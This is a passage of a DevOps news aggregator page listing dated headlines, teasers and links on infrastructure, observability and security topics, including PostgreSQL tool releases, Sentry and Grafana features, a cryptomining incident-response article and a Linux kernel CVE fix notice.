        </h3><p>Here’s what we’ve done—and what we’re still doing—to improve our availability and reliability. The post An update on GitHub availability appeared first on The GitHub Blog.</p>
<p><strong>📅 Apr 28, 2026</strong> • <strong>📰 GitHub Blog</strong></p>
<p><a href="https://github.blog/news-insights/company-news/an-update-on-github-availability/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-iac" class="group relative scroll-mt-24">
        <a href="#h2-iac" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🏗️ IaC
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-iac"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-the-definitive-automation-guide-to-red-hat-summit-2026-must-attend-red-hat-ansible-automation-platform-sessions-talks-and-labs" class="group relative scroll-mt-24">
        <a href="#h3-the-definitive-automation-guide-to-red-hat-summit-2026-must-attend-red-hat-ansible-automation-platform-sessions-talks-and-labs" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The definitive automation guide to Red Hat Summit 2026: Must-attend Red Hat Ansible Automation Platform sessions, talks, and labs
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-definitive-automation-guide-to-red-hat-summit-2026-must-attend-red-hat-ansible-automation-platform-sessions-talks-and-labs"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Every organization faces the same pressures: do more with less, move faster, and reduce risk while preparing for an AI-powered future. In this environment, automation is no longer optional—it’s the fo</p>
<p><strong>📅 Apr 29, 2026</strong> • <strong>📰 Red Hat Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/definitive-automation-guide-red-hat-summit-2026-must-attend-red-hat-ansible-automation-platform-sessions-talks-and-labs"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-observability" class="group relative scroll-mt-24">
        <a href="#h2-observability" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📊 Observability
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-observability"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-pgagroal-21" class="group relative scroll-mt-24">
        <a href="#h3-pgagroal-21" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 pgagroal 2.1
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-pgagroal-21"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The pgagroal community is happy to announce version 2.1.0. New features New vault security (migration needed) Health check Improve failover support Prometheus web console and a lot of enhancements and</p>
<p><strong>📅 May 2, 2026</strong> • <strong>📰 PostgreSQL News</strong></p>
<p><a href="https://www.postgresql.org/about/news/pgagroal-21-3286/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-pgexporter-08" class="group relative scroll-mt-24">
        <a href="#h3-pgexporter-08" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 pgexporter 0.8
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-pgexporter-08"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The pgexporter community is happy to announce version 0.8.0. New Features New vault security (migration needed) A lot of new metrics - including for PostgreSQL 18 Use Grafana 12 Initial alert subsyste</p>
<p><strong>📅 May 2, 2026</strong> • <strong>📰 PostgreSQL News</strong></p>
<p><a href="https://www.postgresql.org/about/news/pgexporter-08-3287/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-velocity-trap-why-shipping-faster-is-making-systems-worse" class="group relative scroll-mt-24">
        <a href="#h3-the-velocity-trap-why-shipping-faster-is-making-systems-worse" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The Velocity Trap: Why Shipping Faster Is Making Systems Worse
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-velocity-trap-why-shipping-faster-is-making-systems-worse"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>There is a particular flavour of engineering dysfunction that looks, from the outside, like peak performance. Deployments are frequent. Sprint velocity is high. The feature backlog is shrinking. Leade</p>
<p><strong>📅 May 1, 2026</strong> • <strong>📰 DevOps.com</strong></p>
<p><a href="https://devops.com/the-velocity-trap-why-shipping-faster-is-making-systems-worse/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-faster-fixes-less-context-sharing-how-grafana-assistant-learns-your-infrastructure-before-you-even-ask" class="group relative scroll-mt-24">
        <a href="#h3-faster-fixes-less-context-sharing-how-grafana-assistant-learns-your-infrastructure-before-you-even-ask" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Faster fixes, less context sharing: how Grafana Assistant learns your infrastructure before you even ask
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-faster-fixes-less-context-sharing-how-grafana-assistant-learns-your-infrastructure-before-you-even-ask"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>When an unexpected alert fires these days, most engineers&#39; first move is to ask their AI assistant for help.You ask why your checkout service is slow and the assistant gets to work, but it can&#39;t get a</p>
<p><strong>📅 Apr 30, 2026</strong> • <strong>📰 Grafana Blog</strong></p>
<p><a href="https://grafana.com/blog/how-grafana-assistant-learns-your-infrastructure-before-you-even-ask/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-introducing-the-ecosystem-explorer-project" class="group relative scroll-mt-24">
        <a href="#h3-introducing-the-ecosystem-explorer-project" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Introducing the Ecosystem Explorer Project
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-introducing-the-ecosystem-explorer-project"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>OpenTelemetry is vast. The Java agent alone includes over 240 different auto-instrumentations. The Collector has hundreds of components. Python, JavaScript, Go, and .NET each have their own ecosystems</p>
<p><strong>📅 Apr 30, 2026</strong> • <strong>📰 OpenTelemetry Blog</strong></p>
<p><a href="https://opentelemetry.io/blog/2026/introducing-the-ecosystem-explorer/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-escaping-the-snowflake-tax-how-we-cut-data-costs-by-over-50-at-new-relic" class="group relative scroll-mt-24">
        <a href="#h3-escaping-the-snowflake-tax-how-we-cut-data-costs-by-over-50-at-new-relic" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Escaping the "Snowflake Tax": How we cut data costs by over 50% at New Relic
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-escaping-the-snowflake-tax-how-we-cut-data-costs-by-over-50-at-new-relic"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Learn how New Relic used observability to safely migrate 1,000+ datasets from Snowflake to Iceberg, cutting costs by 50% without sacrificing reliability.</p>
<p><strong>📅 Apr 29, 2026</strong> • <strong>📰 New Relic Blog</strong></p>
<p><a href="https://newrelic.com/blog/observability/snowflake-to-iceberg-migration"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-3-signals-from-nab-show-2026-and-what-intelligent-observability-delivers" class="group relative scroll-mt-24">
        <a href="#h3-3-signals-from-nab-show-2026-and-what-intelligent-observability-delivers" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 3 Signals from NAB Show 2026 and What Intelligent Observability Delivers
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-3-signals-from-nab-show-2026-and-what-intelligent-observability-delivers"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>M&amp;E leaders converged at NAB Show 2026. Here&#39;s what the signals say about AI, streaming operations, and what New Relic Intelligent Observability delivers.</p>
<p><strong>📅 Apr 29, 2026</strong> • <strong>📰 New Relic Blog</strong></p>
<p><a href="https://newrelic.com/blog/news/nab-show-2026"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-two-commands-to-sentry-now-on-stripe-projects" class="group relative scroll-mt-24">
        <a href="#h3-two-commands-to-sentry-now-on-stripe-projects" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Two commands to Sentry: now on Stripe Projects
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-two-commands-to-sentry-now-on-stripe-projects"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Sentry is now a provider in Stripe Projects. Provision error monitoring, upgrade plans, and open your dashboard from the CLI or from your coding agent.</p>
<p><strong>📅 Apr 29, 2026</strong> • <strong>📰 Sentry Blog</strong></p>
<p><a href="https://blog.sentry.io/sentry-stripe-projects/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-sentrys-integration-with-perforce-is-now-generally-available" class="group relative scroll-mt-24">
        <a href="#h3-sentrys-integration-with-perforce-is-now-generally-available" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Sentry's integration with Perforce is now generally available
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-sentrys-integration-with-perforce-is-now-generally-available"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Sentry&#39;s Perforce P4 integration is now GA, bringing stack trace linking, suspect commits, and on-demand source context to game dev and VFX teams.</p>
<p><strong>📅 Apr 29, 2026</strong> • <strong>📰 Sentry Blog</strong></p>
<p><a href="https://blog.sentry.io/perforce-integration-ga/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-get-observability-in-the-terminal-for-you-and-your-agents-with-the-gcx-cli-tool" class="group relative scroll-mt-24">
        <a href="#h3-get-observability-in-the-terminal-for-you-and-your-agents-with-the-gcx-cli-tool" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Get observability in the terminal, for you and your agents, with the gcx CLI tool
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-get-observability-in-the-terminal-for-you-and-your-agents-with-the-gcx-cli-tool"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The way you write code is changing, which means the way you observe your systems and respond to issues needs to change, too. Engineers today spend much of their day working via command line, as agenti</p>
<p><strong>📅 Apr 28, 2026</strong> • <strong>📰 Grafana Blog</strong></p>
<p><a href="https://grafana.com/blog/get-observability-in-the-terminal-for-you-and-your-agents-with-the-gcx-cli-tool/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-secure-performance-testing-at-scale-introducing-secrets-management-for-grafana-cloud-k6" class="group relative scroll-mt-24">
        <a href="#h3-secure-performance-testing-at-scale-introducing-secrets-management-for-grafana-cloud-k6" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Secure performance testing at scale: Introducing secrets management for Grafana Cloud k6
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-secure-performance-testing-at-scale-introducing-secrets-management-for-grafana-cloud-k6"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>To simulate real user behavior, performance tests often rely on API keys, tokens, or credentials to interact with real systems. But as your testing suite grows, this sensitive data can start to sprawl</p>
<p><strong>📅 Apr 28, 2026</strong> • <strong>📰 Grafana Blog</strong></p>
<p><a href="https://grafana.com/blog/introducing-secrets-management-for-grafana-cloud-k6/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-introducing-seer-agent-the-answer-is-already-in-sentry-now-you-can-ask-for-it" class="group relative scroll-mt-24">
        <a href="#h3-introducing-seer-agent-the-answer-is-already-in-sentry-now-you-can-ask-for-it" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Introducing Seer Agent: The answer is already in Sentry. Now you can ask for it.
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-introducing-seer-agent-the-answer-is-already-in-sentry-now-you-can-ask-for-it"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Most AI debugging tools start from whatever you paste in. Seer Agent starts from everything Sentry already knows about your app. Now in open beta.</p>
<p><strong>📅 Apr 28, 2026</strong> • <strong>📰 Sentry Blog</strong></p>
<p><a href="https://blog.sentry.io/introducing-seer-agent/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-security" class="group relative scroll-mt-24">
        <a href="#h2-security" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🔐 Security
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-security"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-threats-making-wavs-incident-response-to-a-cryptomining-attack" class="group relative scroll-mt-24">
        <a href="#h3-threats-making-wavs-incident-response-to-a-cryptomining-attack" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Threats Making WAVs - Incident Response to a Cryptomining Attack
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-threats-making-wavs-incident-response-to-a-cryptomining-attack"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Guardicore security researchers describe and uncover a full analysis of a cryptomining attack, which hid a cryptominer inside WAV files. The report includes the full attack vectors, from detection, in</p>
<p><strong>📅 May 4, 2026</strong> • <strong>📰 Linode Blog</strong></p>
<p><a href="https://www.akamai.com/blog/security/threats-making-wavs-incident-reponse-cryptomining-attack"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-pgmoneta-021" class="group relative scroll-mt-24">
        <a href="#h3-pgmoneta-021" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 pgmoneta 0.21
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-pgmoneta-021"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The pgmoneta community is happy to announce version 0.21.0. New features New vault security (migration needed) Improvements to S3 storage engine Improvements to the pgmoneta-walinfo interactive mode S</p>
<p><strong>📅 May 2, 2026</strong> • <strong>📰 PostgreSQL News</strong></p>
<p><a href="https://www.postgresql.org/about/news/pgmoneta-021-3288/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-amazon-bedrock-agentcore-is-now-available-in-the-south-america-so-paulo-region" class="group relative scroll-mt-24">
        <a href="#h3-amazon-bedrock-agentcore-is-now-available-in-the-south-america-so-paulo-region" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Amazon Bedrock AgentCore is now available in the South America (São Paulo) Region
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-amazon-bedrock-agentcore-is-now-available-in-the-south-america-so-paulo-region"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Amazon Bedrock AgentCore is now available in the AWS South America (São Paulo) Region. Amazon Bedrock AgentCore is the platform to build, connect, and optimize agents. It helps engineers ship agents f</p>
<p><strong>📅 May 1, 2026</strong> • <strong>📰 CloudFormation Updates</strong></p>
<p><a href="https://aws.amazon.com/about-aws/whats-new/2026/05/agentcore-sao-paulo-region/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-freertos-202604-lts-now-available-with-enhanced-security-and-mqtt-v50" class="group relative scroll-mt-24">
        <a href="#h3-freertos-202604-lts-now-available-with-enhanced-security-and-mqtt-v50" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 FreeRTOS 202604 LTS now available with enhanced security and MQTT v5.0
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-freertos-202604-lts-now-available-with-enhanced-security-and-mqtt-v50"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>FreeRTOS 202604 LTS, a new Long Term Support release of the open-source real-time operating system for embedded devices, is now available. This release provides embedded systems developers and Interne</p>
<p><strong>📅 May 1, 2026</strong> • <strong>📰 CloudFormation Updates</strong></p>
<p><a href="https://aws.amazon.com/about-aws/whats-new/2026/04/freertos-lts/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-anthropic-brings-ai-powered-security-scanning-to-enterprise-teams-with-claude-security" class="group relative scroll-mt-24">
        <a href="#h3-anthropic-brings-ai-powered-security-scanning-to-enterprise-teams-with-claude-security" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Anthropic Brings AI-Powered Security Scanning to Enterprise Teams With Claude Security
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-anthropic-brings-ai-powered-security-scanning-to-enterprise-teams-with-claude-security"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Anthropic&#39;s Claude Security is now in public beta for Enterprise customers, offering AI-powered codebase scanning and patch generation for security teams.</p>
<p><strong>📅 May 1, 2026</strong> • <strong>📰 DevOps.com</strong></p>
<p><a href="https://devops.com/anthropic-brings-ai-powered-security-scanning-to-enterprise-teams-with-claude-security/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-fixes-available-for-cve-2026-31431-copy-fail-linux-kernel-local-privilege-escalation-vulnerability" class="group relative scroll-mt-24">
